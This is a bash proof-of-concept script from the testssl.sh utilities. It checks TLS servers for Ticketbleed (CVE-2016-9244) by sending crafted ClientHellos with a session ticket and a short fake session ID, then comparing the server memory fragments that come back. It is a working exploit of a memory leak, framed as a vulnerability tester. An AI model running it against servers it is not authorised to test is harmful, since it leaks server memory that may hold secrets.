testssl.sh/utils/ticketbleed.bash

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#!/bin/bash
# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
#
# sockets inspired by http://blog.chris007.de/?p=238
# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
[[ -z "$1" ]] && echo "IP is missing" && exit 1
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
OPENSSL=${OPENSSL:-$(type -p openssl)}
TIMEOUT=${TIMEOUT:-20}
# insert some hexspeak here :-)
SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma
NODE="$1"
PORT="${NODE#*:}"
PORT="${PORT-443}" # probably this doesn't make sense
NODE="${NODE%:*}" # strip port if supplied
TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3
MAXSLEEP=$TIMEOUT
SOCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-"false"}
HELLO_READBYTES=${HELLO_READBYTES:-65535}
dec2hex() { printf "x%02x" "$1"; }
dec2hexB() {
a=$(printf "%04x" "$1")
printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
}
LEN_SID=$(( ${#SID} / 4)) # the real length in bytes
XLEN_SID="$(dec2hex $LEN_SID)"
red=$(tput setaf 1; tput bold)
green=$(tput bold; tput setaf 2)
lgreen=$(tput setaf 2)
brown=$(tput setaf 3)
blue=$(tput setaf 4)
magenta=$(tput setaf 5)
cyan=$(tput setaf 6)
grey=$(tput setaf 7)
yellow=$(tput setaf 3; tput bold)
normal=$(tput sgr0)
send_clienthello() {
local -i len_ch=216 # len of clienthello, exlcuding TLS session ticket and SID (record layer)
local session_tckt_tls="$1"
local -i len_tckt_tls="${#1}"
local xlen_tckt_tls=""
len_tckt_tls=$(( len_tckt_tls / 4))
xlen_tckt_tls="$(dec2hex $len_tckt_tls)"
local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"
if $DEBUG; then
echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)"
echo "SID: $SID"
echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)"
echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)"
echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
echo "session_tckt_tls: $session_tckt_tls"
fi
client_hello="
# TLS header (5 bytes)
,x16, # Content type (x16 for handshake)
x03, x01, # TLS Version
# Length Secure Socket Layer follow:
$xlen_handshake_ssl_layer,
# Handshake header
x01, # Type (x01 for ClientHello)
# Length of client hello follows:
x00, $xlen_handshake_record_layer,
x03, x$TLSV, # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
xee, xee, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xff, xff,
$XLEN_SID, # Session ID length
$SID
x00, x66, # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01, # Compression methods length
x00, # Compression method (x00 for NULL)
x01, x0b, # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23,
# length of SessionTicket TLS
x00, $xlen_tckt_tls,
# Session Ticket
$session_tckt_tls # here we have the comma aleady
# Extension: Heartbeat
x00, x0f, x00, x01, x01"
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
socksend "$msg" $TLSV
}
parse_hn_port() {
# strip "https", supposed it was supplied additionally
grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"
# strip trailing urlpath
NODE=$(sed -e 's/\/.*$//' <<< "$NODE")
# determine port, supposed it was supplied additionally
grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
}
wait_kill(){
pid=$1
maxsleep=$2
while true; do
if ! ps $pid >/dev/null ; then
return 0 # didn't reach maxsleep yet
fi
sleep 1
maxsleep=$((maxsleep - 1))
test $maxsleep -eq 0 && break
done # needs to be killed
kill $pid >&2 2>/dev/null
wait $pid 2>/dev/null
return 3 # killed
}
socksend() {
local len
data="$(echo -n $1)"
if "$DEBUG"; then
echo "\"$data\""
len=$(( $(wc -c <<< "$data") / 4 ))
echo -n "length: $len / "
dec2hexB $len
echo
fi
echo -en "$data" >&5
}
sockread_nonblocking() {
[[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
ret=0
SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
wait_kill $! $maxsleep
ret=$?
echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
return $ret
}
sockread() {
dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
}
fixme(){
tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}
fd_socket(){
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "$(basename $0): unable to connect to $NODE:$PORT"
exit 2
fi
}
close_socket(){
exec 5<&-
exec 5>&-
return 0
}
cleanup() {
close_socket
echo
echo
return 0
}
get_sessticket() {
local sessticket_str
local output
output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)"
if ! grep -qw CONNECTED <<< "$output"; then
return 1
else
sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')"
sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
return 0
fi
}
#### main
parse_hn_port "$1"
early_exit=true
declare -a memory sid_detected
nr_sid_detected=0
# there are different "timeout". Check whether --preserve-status is supported
if type -p timeout &>/dev/null ; then
if timeout --help 2>/dev/null | grep -q 'preserve-status'; then
OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL"
else
OPENSSL="timeout $TIMEOUT $OPENSSL"
fi
else
echo " binary \"timeout\" not found. Continuing without it"
unset TIMEOUT
fi
echo
"$DEBUG" && ( echo )
echo "##### 1) Connect to determine 1x session ticket TLS"
# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
SESS_TICKET_TLS="$(get_sessticket)"
if [[ $? -ne 0 ]]; then
echo >&2
echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2
exit 0
fi
[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
trap "cleanup" QUIT EXIT
"$DEBUG" && ( echo; echo )
echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID"
# we do 3 client hellos, and see whether different memmory is returned
for i in 1 2 3; do
fd_socket $PORT
"$DEBUG" && echo "$i"
send_clienthello "$SESS_TICKET_TLS"
"$DEBUG" && ( echo; echo )
[[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo
SOCKREPLY=$(sockread $HELLO_READBYTES)
if "$DEBUG"; then
echo "============================="
echo "$SOCKREPLY"
echo "============================="
fi
if [[ "${SOCKREPLY:0:2}" == "15" ]]; then
echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
echo "${green}OK, not vulnerable ${normal} (TLS alert)"
break
elif [[ -z "${SOCKREPLY:0:2}" ]]; then
echo "${green}OK, not vulnerable ${normal} (zero reply)"
break
elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then
# we need to look into this as some servers just respond as if nothing happened
early_exit=false
"$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
echo -n " ServerHello $i -- "
else
echo -n " Message type: ${SOCKREPLY:10:6} -- "
fi
sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
sid_detected[i]="${SOCKREPLY:88:32}"
memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}"
if "$DEBUG"; then
echo
echo "TLS version, record layer: ${SOCKREPLY:18:4}"
#echo "Random bytes / timestamp: ${SOCKREPLY:22:64}"
echo "memory: ${memory[i]}"
echo "Session ID: ${sid_detected[i]}"
fi
if grep -q $sid_input <<< "${sid_detected[i]}"; then
#echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g"
echo "${normal})"
else
echo -n "not expected server reply but likely not vulnerable"
fi
else
echo "TLS record ${SOCKREPLY:0:2} replied"
echo -n "Strange server reply, pls report"
break
fi
done
echo
if ! "$early_exit"; then
# here we test the replys if a TLS server hello was received >1x
for i in 1 2 3 ; do
if grep -q $sid_input <<< "${sid_detected[i]}"; then
# was our faked TLS SID returned?
nr_sid_detected=$((nr_sid_detected + 1))
fi
done
if [[ $nr_sid_detected -eq 3 ]]; then
if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then
echo "${red}VULNERABLE!${normal}, real memory returned"
else
echo "${green}not vulnerable ${normal} (same memory fragments returned)"
fi
else
echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know"
fi
fi
exit 0
# vim:ts=5:sw=5